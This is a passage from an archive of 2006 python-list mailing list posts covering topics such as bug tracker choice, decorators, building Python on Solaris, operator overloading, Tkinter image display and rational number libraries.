References: <22pUg.132825$zy5.1820633@twister1.libero.it>	<7xk63h232z.fsf@ruckus.brouhaha.com>
	<eftfoe$l8n$1@sea.gmane.org>	<mailman.1155.1159876666.10491.python-list@python.org>	<mailman.1163.1159879479.10491.python-list@python.org>	<fxJUg.134222$zy5.1829414@twister1.libero.it>	<45240E19.3040000@v.loewis.de>
	<mailman.1301.1160003132.10491.python-list@python.org>
Message-ID: <45249BAF.4050201@v.loewis.de>

Ben Finney schrieb:
>> Giovanni Bajo schrieb:
>>> It is an extremely bad picture for an open source flag like Python
>>> to go to a vendor for such an easy requirement as a bug database.
>> You fail to recognize that Python is *already* using a non-free software
>> for bug tracking, as do thousands of other projects. So from that point
>> of view, the status wouldn't change.
> 
> The whole point of moving *from* SF *to* another bug tracker is to
> improve the situation, surely.
> 
> You already seem to acknowledge that using free-software tools to
> develop Python is desirable. I don't see why you're being so obtuse in
> this sub-thread on *why* it's desirable.

I don't deny it's desirable; I deny it's a indispensable requirement.
I truly believe that Jira would be a useful bug tracker and improve
the situation, despite it being non-free software. This really is no
source of worry for me. I'm feeling more uneasy about the fact that
it is written in Java (but still, this wouldn't stop me from
recommending it as it is a useful and well-engineered piece of
software).

In this sub-thread, I complain about this FUD "Python is moving
to a non-free bug tracker" (suggesting that it is moving away
from a free bug tracker).

Regards,
Martin


From fredrik at pythonware.com  Fri Oct 27 08:48:42 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Fri, 27 Oct 2006 14:48:42 +0200
Subject: ANN: the pyfaq wiki has moved
Message-ID: <ehsv70$thj$1@sea.gmane.org>

Back in April, I posted a copy of the Python FAQ over at infogami.com,
to collect comments and new FAQ entries for python.org.

Since infogami.com development has ceased, and the server's been hit
by spam lately, I've decided to move the material over to a hopefully
more reliable site:

    http://effbot.org/pyfaq/

If you have some time to spare, why not drop by, pick some random
article, and let us know how it can be improved:

    http://effbot.org/random/pyfaq

Or even better, if you have a FAQ entry or some other idea to share,
post it here:

    http://effbot.org/pyfaq/suggest

</F> 





From johnjsal at NOSPAMgmail.com  Fri Oct 27 14:09:30 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Fri, 27 Oct 2006 18:09:30 GMT
Subject: ANN: the pyfaq wiki has moved
In-Reply-To: <mailman.1349.1161953388.11739.python-list@python.org>
References: <mailman.1349.1161953388.11739.python-list@python.org>
Message-ID: <uXr0h.175$1n3.4318@news.tufts.edu>

Fredrik Lundh wrote:

> If you have some time to spare, why not drop by, pick some random
> article, and let us know how it can be improved:
> 
>     http://effbot.org/random/pyfaq

How do we log in to make changes?


From neoedmund at gmail.com  Sun Oct 15 21:39:14 2006
From: neoedmund at gmail.com (neoedmund)
Date: 15 Oct 2006 18:39:14 -0700
Subject: python's OOP question
Message-ID: <1160962754.613391.254330@e3g2000cwe.googlegroups.com>

There's a program, it's result is "unexpected aaa", i want it to be
"expected aaa". how to make it work?

[code]

class C1(object):
	def v(self, o):
		return "expected "+o

class C2(object):
	def v(self, o):
		return "unexpected "+o
	def m(self):
		print self.v("aaa")

class C3(object):
	def nothing(self):
		pass

def test1():
	o = C3()
	setattr(o,"m",C2().m)
	setattr(o,"v",C1().v)
	o.m()

test1()	

[/code]



From jmcantrell at gmail.com  Fri Oct 20 01:38:43 2006
From: jmcantrell at gmail.com (jmcantrell at gmail.com)
Date: 19 Oct 2006 22:38:43 -0700
Subject: Decorators and how they relate to Python - A little insight
	please!
In-Reply-To: <1161281064.704992.100410@e3g2000cwe.googlegroups.com>
References: <1161281064.704992.100410@e3g2000cwe.googlegroups.com>
Message-ID: <1161322723.451426.305480@m7g2000cwm.googlegroups.com>

it's handy for doing things like validation of parameter and return
types. Like...

@accepts(int,int)
@returns(int)
def add(a,b):
    return a+b

On Oct 19, 2:04 pm, "Jerry" <jwe... at gmail.com> wrote:
> I have just started to do some semi-serious programming (not one-off
> specialized scripts) and am loving Python.  I just seem to get most of
> the concepts, the structure, and the classes (something I struggled
> with before in other languages).  I've seen many concepts on the web
> (i.e. stacks, queues, linked lists) and can usually understand them
> pretty well (event if I don't always know when to use them).  Now I've
> come accross decorators and even though I've read the PEP and a little
> in the documentation, I just don't get what they are or what problem
> they are trying to solve.  Can anyone please point me to a general
> discussion of decorators (preferrably explained with Python)?
> 
> Thanks,
> Jerry



From MrJean1 at gmail.com  Thu Oct 12 14:43:43 2006
From: MrJean1 at gmail.com (MrJean1)
Date: 12 Oct 2006 11:43:43 -0700
Subject: Compile python on Solaris 64bit
In-Reply-To: <mailman.383.1160664380.11739.python-list@python.org>
References: <mailman.383.1160664380.11739.python-list@python.org>
Message-ID: <1160678623.663504.300040@e3g2000cwe.googlegroups.com>

I did build Python 2.5 on a Solaris 10 Ultra 20 machine (Opteron) but
using the SUN compilers.  Two changes were needed in the Makefile:
CXX=CC and CCSHARED=-KPIC.

There are a few issues which I have not investigated further (like Tcl
and ffitarget.h), but the tests pass except for 3 unexpected skips.
Other than that, Python 2.5 seems to be running fine, so far.

Also, I am using the Python 2.4 build for Solaris build from
ActiveState as well as Python 2.3.3 which is distributed with Solaris
in /usr/sfw/bin.

/Jean Brouwers


Martijn de Munnik wrote:
> Hi,
>
> I want to compile python on my solaris 10 system (amd 64 bit).
>
> I did the following:
>
> ./configure --prefix=/opt/64/python
> make
>
> which resulted in this error:
> "Include/pyport.h", line 730: #error: "LONG_BIT definition appears wrong
> for platform (bad gcc/glibc config?)."
>
> so I edited the file and removed the error line and did a configure and
> make again after a make distclean.
>
> after a new make I get this error complaining about 32 and 64 bit.
>
> ld: fatal: file Parser/acceler.o: wrong ELF class: ELFCLASS32
>
> when I look to the cc statements none of my CFLAGS are passed while these
> are in my environment;
>
> CC=cc
> CFLAGS=-xO3 -mt -fsimple=1 -ftrap=%none -nofstore -xbuiltin=%all -xlibmil
> -xlibmopt -xtarget=opteron -xarch=amd64 -xregs=no%frameptr
> CXX=CC
> CXXFLAGS=-xO3 -mt -fsimple=1 -ftrap=%none -nofstore -xbuiltin=%all
> -xlibmil -xlibmopt -xtarget=opteron -xarch=amd64 -xregs=no%frameptr
> LDFLAGS=-xtarget=opteron -xarch=amd64
>
>
> anybody succesfully compiled python on solaris?
> 
> thanks,
> martijn



From python.list at tim.thechases.com  Thu Oct 12 15:49:58 2006
From: python.list at tim.thechases.com (Tim Chase)
Date: Thu, 12 Oct 2006 14:49:58 -0500
Subject: strings in the global section
In-Reply-To: <4p7j4kFhis6pU1@individual.net>
References: <1160675040.806545.7620@i3g2000cwc.googlegroups.com>	<4p7dbsFh384nU1@individual.net>	<1160675533.899350.281040@i42g2000cwa.googlegroups.com>
	<4p7j4kFhis6pU1@individual.net>
Message-ID: <452E9C66.2040200@tim.thechases.com>

>> Works, but something different ?
> 
> Excuse me, what do you mean?

Sounded like the OP wanted a behavior similar to "auto-globals" 
that has been a long-cursed aspect of PHP.  That, without 
specifying it, local-variables should be global if their name 
exists in the global namespace.  Python seems to behave this way 
when reading, but when writing, writes to the local namespace. 
Moderately confusing when first encountered, but it makes sense 
in short order.

If auto-writing to globals were permitted, all sorts of weird 
behaviors could ensue and accompanying breakage of existing code. 
  I'm quite happy with not using "global" at all (okay, there's 
been once or twice I've wanted to modify a module-level settings 
structure, but otherwise...).

For the most part, using "global" is cause to be smacked in the 
head as it makes for a nightmare maint.-wise.	

-tkc





From bignose+hates-spam at benfinney.id.au  Thu Oct 26 22:32:01 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Fri, 27 Oct 2006 12:32:01 +1000
Subject: Handling emails
References: <mailman.967.1161596728.11739.python-list@python.org>
	<mailman.1090.1161707760.11739.python-list@python.org>
	<GhC%g.18871$UG4.13890@newsread2.news.pas.earthlink.net>
	<200610262031.25448.fulvio@tm.net.my> <87mz7jgrma.fsf@benfinney.id.au>
	<ehqbta$378$1@sea.gmane.org> <8764e6hex1.fsf@benfinney.id.au>
	<ca55a9900610261834m8046fcfob6c82ebb8c4982be@mail.gmail.com>
Message-ID: <871woufpzy.fsf@benfinney.id.au>

"Peter Decker" <pydecker at gmail.com> writes:

> On 10/26/06, Ben Finney <bignose+hates-spam at benfinney.id.au> wrote:
> > There is always the option to not send messages to this list using
> > that mail server. I don't care what option is taken, so long as
> > the useless and obnoxious headers on his messages stop.
> >
> > --
> >  \     Lucifer: "Just sign the Contract, sir, and the Piano is yours." |
> >   `\     Ray: "Sheesh! This is long! Mind if I sign it now and read it |
> > _o__)                             later?"  -- http://www.achewood.com/ |
> > Ben Finney
>
> Ah, but obnoxious footers are OK, I guess.

I guess. I maintain that there *is* a qualitative difference between a
spammy header block, irrelevant to the message content but intruding
upon it, at the top of the message; and a dignature block at the
bottom, *after* all the relevant material, separated by a standard
signature block separator.

-- 
 \                      "I doubt, therefore I might be."  -- Anonymous |
  `\                                                                   |
_o__)                                                                  |
Ben Finney



From g.brandl-nospam at gmx.net  Sat Oct  7 17:59:09 2006
From: g.brandl-nospam at gmx.net (Georg Brandl)
Date: Sat, 07 Oct 2006 23:59:09 +0200
Subject: operator overloading + - / * = etc...
In-Reply-To: <mailman.32.1160258060.11739.python-list@python.org>
References: <1160256250.688620.63770@h48g2000cwc.googlegroups.com>	<slrneig76h.6u2.sybrenUSE@schuimige.stuvel.eu>
	<mailman.32.1160258060.11739.python-list@python.org>
Message-ID: <eg97vd$ga9$1@news.albasani.net>

Tim Chase wrote:
>>> Can these operators be overloaded?
>> 
>> Yes.
> 
> With the caveat of the "=" mentioned in the subject-line (being 
> different from "==")...I haven't found any way to override 
> assignment in the general case.  There might be some oddball way 
> to do it via property() but AFAIK, this only applies to 
> properties of objects, not top-level names/variables.  I'd love 
> to know if there's some workaround for this though...

In almost all cases, binding a name cannot be overridden.

There is a possibility to do that with globals, provided you do

exec code in globals_dict

where globals_dict is an instance of a subclass of dict that has a
customized __setitem__.

Georg


From apardon at forel.vub.ac.be  Tue Oct 10 03:13:52 2006
From: apardon at forel.vub.ac.be (Antoon Pardon)
Date: 10 Oct 2006 07:13:52 GMT
Subject: Names changed to protect the guilty
References: <eg6opn$7oj$1@panix3.panix.com> <877izb1vwe.fsf@pobox.com>
	<eg9qne$82j$1@panix3.panix.com>
	<slrneik8ap.55m.apardon@rcpc42.vub.ac.be>
	<egecss$o1l$1@panix3.panix.com>
Message-ID: <slrneimi1g.55m.apardon@rcpc42.vub.ac.be>

On 2006-10-09, Aahz <aahz at pythoncraft.com> wrote:
> In article <slrneik8ap.55m.apardon at rcpc42.vub.ac.be>,
> Antoon Pardon  <apardon at forel.vub.ac.be> wrote:
>>On 2006-10-08, Aahz <aahz at pythoncraft.com> wrote:
>>> In article <877izb1vwe.fsf at pobox.com>, John J. Lee <jjl at pobox.com> wrote:
>>>>aahz at pythoncraft.com (Aahz) writes:
>>>>>
>>>>> The following line of lightly munged code was found in a publicly
>>>>> available Python library...
>>>>> 
>>>>>     if schema.elements.has_key(key) is False:
>>>>> 
>>>>> Sorry, just had to vent.
>>>>
>>>>I think I was reading the same code recently (epydoc?) and was also
>>>>momentarily horrified ;-) until I realized that it was quite
>>>>deliberately using three-valued logic (True, False, None) for some
>>>>presumably-sensible reason.  Since None is false, they had to use
>>>>"is".  So, given the need for three-valued logic, it's not as silly as
>>>>it looks.
>>>
>>> My take is that even in that case, one should use "is" only with None.
>>> There is too much ground for bugs with True/False, particularly if you
>>> either intend to work across version *or* you might possibly accept a
>>> user's object (because *they* might be working across versions and
>>> therefore returning 1/0 instead of True/False).  I think it's safest to
>>> simply ban this idiom.  No exceptions, never.
>>
>>The problem is there is also ground for bugs if you don't use "blah is
>>True". If some application naturally seems to ask for a variable that
>>can be valued False, True or a positive integer then things like "if
>>var" or "if not var" may very well be a bug too.
>
> Anyone designing an app like that in Python deserves to lose.  It's just
> another way of shooting yourself in the foot.

Why? Just because you don't like it? The last time I mentioned this,
all those who propsed an alternative implemenation came with proposals
that couldn't work, while I never had problems with my code.

-- 
Antoon Pardon


From rrr at ronadam.com  Thu Oct 19 11:06:49 2006
From: rrr at ronadam.com (Ron Adam)
Date: Thu, 19 Oct 2006 10:06:49 -0500
Subject: Flexable Collating (feedback please)
In-Reply-To: <mailman.729.1161223571.11739.python-list@python.org>
References: <35kZg.6681$fl.2685@dukeread08>	<mailman.726.1161212153.11739.python-list@python.org>	<WPzZg.6719$fl.1263@dukeread08>
	<mailman.729.1161223571.11739.python-list@python.org>
Message-ID: <CzMZg.6746$fl.5868@dukeread08>

Gabriel Genellina wrote:
> At Wednesday 18/10/2006 21:36, Ron Adam wrote:
>> Maybe changing the CAPS_FIRST to REVERSE_CAPS_ORDER would do?
> 
> At least it's a more accurate name.
> There is an indirect way: test locale.strcoll("A","a") and see how they 
> get sorted. Then define options CAPS_FIRST, LOWER_FIRST accordingly. But 
> maybe it's too much trouble...

I should of thought of that simple test.  Thanks.   :-)

That would work, and it's really not that much trouble.  The actual test can be 
done during importing.  Maybe determining other useful values could be done at 
that time as well.


>> > You should try to make this part a bit more generic. If you are
>> > concerned about locales, do not use "comma" explicitely. In other
>> > countries 10*100=1.000 - and 1,234 is a fraction between 1 and 2.
>>
>> See the most recent version of this I posted.  It is a bit more generic.
>>
>>        news://news.cox.net:119/PNxZg.6714$fl.4591 at dukeread08
>>
>> Maybe a 'comma_is_decimal' option?
> 
> I'd prefer to use the 'decimal_point' and 'thousands_sep' from the 
> locale information. That would be more coherent with the locale usage 
> along your module.

Yes, it looks like I'll need to do this.


>> The term I've seen before is called natural ordering, but that is more 
>> general
>> and can include date, roman numerals, as well as other type.
> 
> Sometimes that's the hard part, finding a name which is concise, 
> descriptive, and accurately reflects what the code does. A good name 
> should make obvious what it is used for (being these option names, or 
> class names, or method names...) but in this case it may be difficult to 
> find a good one. So users will have to read the documentation (a good 
> thing, anyway!)

I plan on making the doc strings a bit more informative so that help(collate) 
will give meaningful information on it's options.

Cheers,
    Ron



From wahab at chemie.uni-halle.de  Sun Oct  1 06:49:26 2006
From: wahab at chemie.uni-halle.de (Mirco Wahab)
Date: Sun, 01 Oct 2006 12:49:26 +0200
Subject: The Python world tries to be polite [formerly offensive to  
	another language]
In-Reply-To: <_vidnZxCbMF-NYPYnZ2dnUVZ_qqdnZ2d@speakeasy.net>
References: <1159188351.960448.43660@d34g2000cwd.googlegroups.com>
	<1159555450.721085.51710@h48g2000cwc.googlegroups.com>
	<mailman.990.1159598785.10491.python-list@python.org>
	<1159601820.592847.42160@i3g2000cwc.googlegroups.com>
	<mailman.996.1159603783.10491.python-list@python.org>
	<_vidnZxCbMF-NYPYnZ2dnUVZ_qqdnZ2d@speakeasy.net>
Message-ID: <efo6oj$ce6$1@mlucom4.urz.uni-halle.de>

Thus spoke A.M. Kuchling (on 2006-09-30 19:26):
> On Sat, 30 Sep 2006 09:10:14 +0100, 
> Steve Holden <steve at holdenweb.com> wrote:
>> My God, Perl 6 is going to be even less comprehensible that Perl 5, 
>> which was at least usable. Is ?=>? really a Perl6 operator? That's too 
>> funny!
> 
> While we poor Python people have to cope with writing:
> 	d = dict(zip(k, v))
> instead of Perl 6's 
> 	%h = @k >>=><< @v;
> 
> But at least the Perl solution is 4 non-whitespace characters shorter... 

Didn't I get the joke?

The Perl version would be a hash slice initialization on %dict:

        @dict{ @k } = @v;

Thats it. What is the fuzz all about? I consider 'hyper fatarrow'
(you did't the ?=>? get right) just a joke of LW
(he does so sometimes ;-).

Regards

Mirco


From apardon at forel.vub.ac.be  Mon Oct  9 06:15:54 2006
From: apardon at forel.vub.ac.be (Antoon Pardon)
Date: 9 Oct 2006 10:15:54 GMT
Subject: Names changed to protect the guilty
References: <eg6opn$7oj$1@panix3.panix.com> <877izb1vwe.fsf@pobox.com>
	<eg9qne$82j$1@panix3.panix.com>
Message-ID: <slrneik8ap.55m.apardon@rcpc42.vub.ac.be>

On 2006-10-08, Aahz <aahz at pythoncraft.com> wrote:
> In article <877izb1vwe.fsf at pobox.com>, John J. Lee <jjl at pobox.com> wrote:
>>aahz at pythoncraft.com (Aahz) writes:
>>>
>>> The following line of lightly munged code was found in a publicly
>>> available Python library...
>>> 
>>>     if schema.elements.has_key(key) is False:
>>> 
>>> Sorry, just had to vent.
>>
>>I think I was reading the same code recently (epydoc?) and was also
>>momentarily horrified ;-) until I realized that it was quite
>>deliberately using three-valued logic (True, False, None) for some
>>presumably-sensible reason.  Since None is false, they had to use
>>"is".  So, given the need for three-valued logic, it's not as silly as
>>it looks.
>
> My take is that even in that case, one should use "is" only with None.
> There is too much ground for bugs with True/False, particularly if you
> either intend to work across version *or* you might possibly accept a
> user's object (because *they* might be working across versions and
> therefore returning 1/0 instead of True/False).  I think it's safest to
> simply ban this idiom.  No exceptions, never.

The problem is there is also ground for bugs if you don't use
"blah is True". If some application naturally seems to ask
for a variable that can be valued False, True or a positive
integer then things like "if var" or "if not var" may very
well be a bug too.

-- 
Antoon Pardon


From bignose+hates-spam at benfinney.id.au  Sun Oct 15 22:22:54 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Mon, 16 Oct 2006 12:22:54 +1000
Subject: python's OOP question
References: <1160962754.613391.254330@e3g2000cwe.googlegroups.com>
Message-ID: <87psct0zk1.fsf@benfinney.id.au>

"neoedmund" <neoedmund at gmail.com> writes:

> There's a program, it's result is "unexpected aaa", i want it to be
> "expected aaa". how to make it work?
>
> [code]
>
> class C1(object):
> 	def v(self, o):
> 		return "expected "+o
>
> class C2(object):
> 	def v(self, o):
> 		return "unexpected "+o
> 	def m(self):
> 		print self.v("aaa")
>
> class C3(object):
> 	def nothing(self):
> 		pass
>
> def test1():
> 	o = C3()
> 	setattr(o,"m",C2().m)
> 	setattr(o,"v",C1().v)
> 	o.m()

Setting attributes on an object externally isn't the same thing as
making bound methods of that object.

In this case, 'o.m' is a bound method of a C2 instance, and has no
knowledge of C1. 'o.v' is a bound method of a C1 instance, and has no
knowledge of C2. Neither of them has any knowledge of C3.

What is it you're trying to achieve?

-- 
 \     "Unix is an operating system, OS/2 is half an operating system, |
  `\       Windows is a shell, and DOS is a boot partition virus."  -- |
_o__)                                                  Peter H. Coffin |
Ben Finney



From randykraemer at cox.net  Thu Oct 12 13:16:31 2006
From: randykraemer at cox.net (Randy Kraemer)
Date: 12 Oct 2006 10:16:31 -0700
Subject: Python 2.4 online certification - new items available for Beta testing
Message-ID: <1160673391.870483.295320@c28g2000cwb.googlegroups.com>

There is a free Beta test of a Python 2.4 Certification test available
at Brainbench.com. They are a provider of skills-based certification
exams.
Go to the link below to find the test. It is free to take the test.

http://www.brainbench.com/xml/bb/common/testcenter/betatests.xml



From roman.yakovenko at gmail.com  Tue Oct 10 15:55:14 2006
From: roman.yakovenko at gmail.com (Roman Yakovenko)
Date: Tue, 10 Oct 2006 21:55:14 +0200
Subject: C++ to Python?
In-Reply-To: <6110AB6F-D20C-4F12-9347-B7FB64930329@comcast.net>
References: <6110AB6F-D20C-4F12-9347-B7FB64930329@comcast.net>
Message-ID: <7465b6170610101255i4569613nfb41424225d60446@mail.gmail.com>

On 10/10/06, Frank Martinez <martinezfive at comcast.net> wrote:
> Hi, Everybody!
>  Does anyone know of a cpp2py type application?  Without going into details,
> I need to port a bunch of C++ code to Python.  Any such
> converter/information would be helpful.
>  Thanks.

Take a look on Py++( http://language-binding.net/pyplusplus/pyplusplus.html )
You are not going to regret.
You don't have to believe: take a look on Python-Ogre project(
http://python-ogre.python-hosting.com/ ) and amount of code that is
needed
to export Ogre engine to Python: http://tinyurl.com/mjuea

-- 
Roman Yakovenko
C++ Python language binding
http://www.language-binding.net/


From onurb at xiludom.gro  Tue Oct 17 13:30:15 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Tue, 17 Oct 2006 19:30:15 +0200
Subject: Looking for assignement operator
In-Reply-To: <1161103950.938523.85770@i3g2000cwc.googlegroups.com>
References: <eh2n08$4ji$1@online.de>
	<1161095199.354431.157660@e3g2000cwe.googlegroups.com>
	<4534edf4$0$24770$426a74cc@news.free.fr>
	<1161101280.999698.26520@i42g2000cwa.googlegroups.com>
	<45350884$0$3751$426a74cc@news.free.fr>
	<1161103950.938523.85770@i3g2000cwc.googlegroups.com>
Message-ID: <45351328$0$13504$426a74cc@news.free.fr>

Jerry wrote:
> Okay, very well, then I put a couple of extra 'self' identifiers in
> there when I hand-copied the code over. 

You should try copy/paste - it's both safer and less work !-)

> That would be my mistake for
> letting my fingers do the walking and forgetting my brain.  Is there
> anything else wrong with my code?

You mean something I didn't cover in my 2 previous posts ?

-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From MonkeeSage at gmail.com  Thu Oct  5 07:49:57 2006
From: MonkeeSage at gmail.com (MonkeeSage)
Date: 5 Oct 2006 04:49:57 -0700
Subject: Subclassing built-in classes
Message-ID: <1160048997.394218.3760@c28g2000cwb.googlegroups.com>

I know that python doesn't allow extending built-in objects like the
str class; but you can subclass them using a class of the same name and
thus shadow them to get the same general effect (albeit you have to use
the explicit constructor rather than literals).

class str(str):
  def display(self):
    print self
str('blah').display()

I was just playing around and realized that assigning to
__builtins__.str (or if you prefer sys.modules['__builtin__'].str) has
the same effect.

class mystr(str):
  def display(self):
    print self
__builtins__.str = mystr
str('blah').display()

So that made me wonder...couldn't python (in theory) allow for literals
to use extended classes by using the object in __builtins__.<class> as
the class for literals? By default it would be the standard base class,
but it could also be a custom subclass. Would that be possible / easy /
worthwhile to do?

Regards,
Jordan



From inq1ltd at verizon.net  Sun Oct 29 18:45:06 2006
From: inq1ltd at verizon.net (jim-on-linux)
Date: Sun, 29 Oct 2006 18:45:06 -0500
Subject: lossless transformation of jpeg images
In-Reply-To: <5f56302b0610291217r21425ae9vcaba963dd58c10f4@mail.gmail.com>
References: <5f56302b0610291115k32e58ba6s72757b1ba1d51f69@mail.gmail.com>
	<5f56302b0610291217r21425ae9vcaba963dd58c10f4@mail.gmail.com>
Message-ID: <200610291845.06389.inq1ltd@verizon.net>

On Sunday 29 October 2006 15:17, Daniel Nogradi 
wrote:
> > Hi all,
> >
> > Last time I checked PIL was not able to apply
> > lossless transformations to jpeg images so
> > I've created Python bindings (or is it a
> > wrapper? I never knew the difference :)) for
> > the jpegtran utility of the Independent Jpeg
> > Group.


Why not use Tkinter for jpeg ??


jim-on-linux

http://www.inqvista.com




> >
> > The jpegtran utility is written in C and is
> > very efficient, fast and robust. It can
> > rotate, flip, transpose and transverse jpeg
> > images in a lossless way, see www.ijg.org for
> > more details.
> >
> > The bindings allow you to use all jpegtran
> > features from Python.
> >
> > Downloads are here:
> > http://ebiznisz.hu/python-jpegtran/
> >
> > Any feedback is very welcome, especially if
> > you are able to compile it on non-standard
> > platforms. It has been tested on Linux and
> > Python 2.3.
> >
> > Usage example:
> >
> > import jpegtran
> >
> > transformer = jpegtran.transformer( )
> >
> > transformer.rotate( 90, 'pic.jpg',
> > 'pic_rotated.jpg' ) transformer.flip(
> > 'horizontal', 'pic.jpg', 'pic_flipped.jpg' )
> > transformer.transpose( 'pic.jpg',
> > 'pic_transposed.jpg' )
> > transformer.transverse( 'pic.jpg',
> > 'pic_transversed.jpg' ) transformer.gray(
> > 'pic.jpg', 'pic_gray.jpg' )
>
> Oh, I forgot to mention that this is a very
> preliminary release, there is no support for
> distutils or any other intelligent packaging
> tool, it uses 'make' so probably will only work
> on Unix flavours. Although it should compile on
> Windows as well.


From inq1ltd at verizon.net  Wed Oct 25 20:27:00 2006
From: inq1ltd at verizon.net (jim-on-linux)
Date: Wed, 25 Oct 2006 20:27:00 -0400
Subject: Computer locks up when running valid stand alone Tkinter file.
Message-ID: <200610252027.00924.inq1ltd@verizon.net>


py help,

The file below will run as a stand alone file.
It works fine as it is.  

But, when I call it from another module it locks 
my computer, The off switch is the only 
salvation.

This module when run as a stand alone, it will 
open a jpeg image and add a vertical and 
horizontal scrollbar to the canvass.
That's all it does.  

Replace the img9.jpg file with one of your own, 
put the image in the current working dir., and 
run.

If you think you can help, I would appreciate it.


jim-on-linux





############################################

#!/usr/bin/env python

"""
#############################################
import Tkinter as Tk

    Do not do
    ( from Tkinter import * )
    because of  name space conflict with 
Image.open

##############################################

####    below imports  Image and ImageTk are from
####    Imaging-1.1.5, PIL  in Python

"""


import Image
import  ImageTk
import Tkinter as Tk
import os

vpath = os.getcwd()+os.sep+'img9.jpg'



class Kshow_0 :

    def __init__(self ) :
        self.Fimgshow0()

    def Fimgshow0(self ) :
        window = Tk.Tk()    # used for stamd alone

       #  window = Tk.Toplevel()   
         # Above Toplevel call used when running
          # from another file



        window.title(' Image Location '+vpath )
        window.protocol('WM_DELETE_WINDOW',
                                   window.destroy)

        vcanvas = Tk.Canvas(window, width = 375,
                               height=375,
                              borderwidth = 1, bg= 
                               'white')

        sbarY=Tk.Scrollbar()
        sbarX = Tk.Scrollbar( orient='horizontal')
        sbarY.config(command= vcanvas.yview)
        sbarX.config(command= vcanvas.xview)

        vcanvas.config(yscrollcommand=sbarY.set)
        vcanvas.config(xscrollcommand=sbarX.set)

        sbarY.pack(side='right', fill='y')
        sbarX.pack(side='bottom', fill='x')
        vcanvas.pack(expand='yes',  fill='both')

        im= Image.open( vpath)
        tkim = ImageTk.PhotoImage(im)

        imgW = tkim.width()
        print imgW, '## imgW, jpg 58\n'

        imgH = tkim.height()
        print imgH, '## imgH, jpg 61\n'

        # Draw the image on the canvas
        vcanvas.create_image(0, 0,  image=tkim,
                                anchor = 'nw'  )

        vcanvas.config(scrollregion= (0, 0, imgW,
                                           imgH))
        window.mainloop ()


if __name__ == '__main__' :

    Kshow_0()


From ewijaya at i2r.a-star.edu.sg  Thu Oct 26 04:43:15 2006
From: ewijaya at i2r.a-star.edu.sg (Wijaya Edward)
Date: Thu, 26 Oct 2006 16:43:15 +0800
Subject: Printing Hidden Character in Python
Message-ID: <3ACF03E372996C4EACD542EA8A05E66A0615D6@mailbe01.teak.local.net>


Hi,
 
How can we print out the hidden character like
"\n", "\r" etc in Python?
 
-- Edward WIJAYA
SINGAPORE

------------ Institute For Infocomm Research - Disclaimer -------------
This email is confidential and may be privileged.  If you are not the intended recipient, please delete it and notify us immediately. Please do not copy or use it for any purpose, or disclose its contents to any other person. Thank you.
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From judasi at gmail.com  Tue Oct 31 06:13:03 2006
From: judasi at gmail.com (judasi at gmail.com)
Date: 31 Oct 2006 03:13:03 -0800
Subject: Compile Python With SSL On Solaris 10
In-Reply-To: <45466C28.4040909@v.loewis.de>
References: <1162219833.769046.64960@m73g2000cwd.googlegroups.com>
	<45466C28.4040909@v.loewis.de>
Message-ID: <1162293183.572601.227040@e3g2000cwe.googlegroups.com>


Martin v. L?wis wrote:
> judasi at gmail.com schrieb:
> > I am trying to compile py2.4.3/2.5 on a Solaris 10x86 machine, but
> > cannot get it to build an SSL enabled version.  I have added the
> > relevant sfw directories into the path/crle, with no success.  I've
> > even explicitly added ssl via the --with-libs directive, yet an import
> > _ssl still fails.
> >
> > Has anyone else come across this?
>
> setup.py ignores all this. You have to edit Modules/Setup if you want
> to specify non-standard search locations for header files and libraries.
> 
> Regards,
> Martin

That worked a treat, thank you!

Regards

John



From gagsl-py at yahoo.com.ar  Tue Oct 31 14:03:47 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Tue, 31 Oct 2006 16:03:47 -0300
Subject: "best" rational number library for Python?
Message-ID: <7.0.1.0.0.20061031155415.04ce5078@yahoo.com.ar>

At Tuesday 31/10/2006 14:53, skip at pobox.com wrote:

>A guy at work asked for functionality commonly found with rational numbers,
>so I said I'd find and install something.  I figured gmpy would be suitable,
>alas I'm having trouble successfully building the underlying GMP 4.2.1
>library on a PC running Solaris 10 (won't compile with the default --host,
>fails "make check" if I go the no-assembly route).  Before I invest a bunch
>of time into this, am I barking up the wrong tree?

Try clnum included in:
http://sourceforge.net/projects/calcrpnpy


-- 
Gabriel Genellina
Softlab SRL 

__________________________________________________
Correo Yahoo!
Espacio para todos tus mensajes, antivirus y antispam ?gratis! 
?Abr? tu cuenta ya! - http://correo.yahoo.com.ar


From Jeff.Demel at JavelinDirect.com  Thu Oct 19 14:37:41 2006
From: Jeff.Demel at JavelinDirect.com (Demel, Jeff)
Date: Thu, 19 Oct 2006 13:37:41 -0500
Subject: OT--Shuffling,
	was Re: invert or reverse a string... warning thisis a rant
Message-ID: <136ED738BD4F1545B97E4AC06FF6370734BEEF@DMSP-MSG-EVS01.mail.pvt>

J.Clifford Dyer wrote:
>To my mind that would be the exact opposite of shuffling a deck 
>of cards.  In your case, each time, you know exactly which stack 
>the card comes from, but not which card out of the stack.  When 
>you shuffle cards, it's more like you know exactly which card is 
> coming next off of each stack, you just don't know which stack 
>it's pulling from next.

Actually, the process I described is exactly what one does when
shuffling cards (without, of course, real-life "mistakes" in which the
start stack is not known, the deck may not have been split perfectly in
half, or whatever).  You know exactly which card goes next because it's
in order from the bottom of the stacks to the top, and you know exactly
which stack each comes from.

Of course, since I wrote that with my tongue in my cheek (that's an odd
turn of phrase), it's quite possible it's not 100% clear what I was
saying.  It was just meant to demonstrate a silly method, one as
essentially useless as a reverse() method.

-Jeff
This email is intended only for the individual or entity to which it is addressed.  This email may contain information that is privileged, confidential or otherwise protected from disclosure. Dissemination, distribution or copying of this e-mail or any attachments by anyone other than the intended recipient, or an employee or agent responsible for delivering the message to the intended recipient, is prohibited. If you are not the intended recipient of this message or the employee or agent responsible for delivery of this email to the intended recipient, please notify the sender by replying to this message and then delete it from your system.  Any use, dissemination, distribution, or reproduction of this message by unintended recipients is strictly prohibited and may be unlawful.


From Roberto.Bonvallet at cern.ch  Wed Oct 25 05:02:01 2006
From: Roberto.Bonvallet at cern.ch (Roberto Bonvallet)
Date: Wed, 25 Oct 2006 09:02:01 +0000 (UTC)
Subject: dict problem
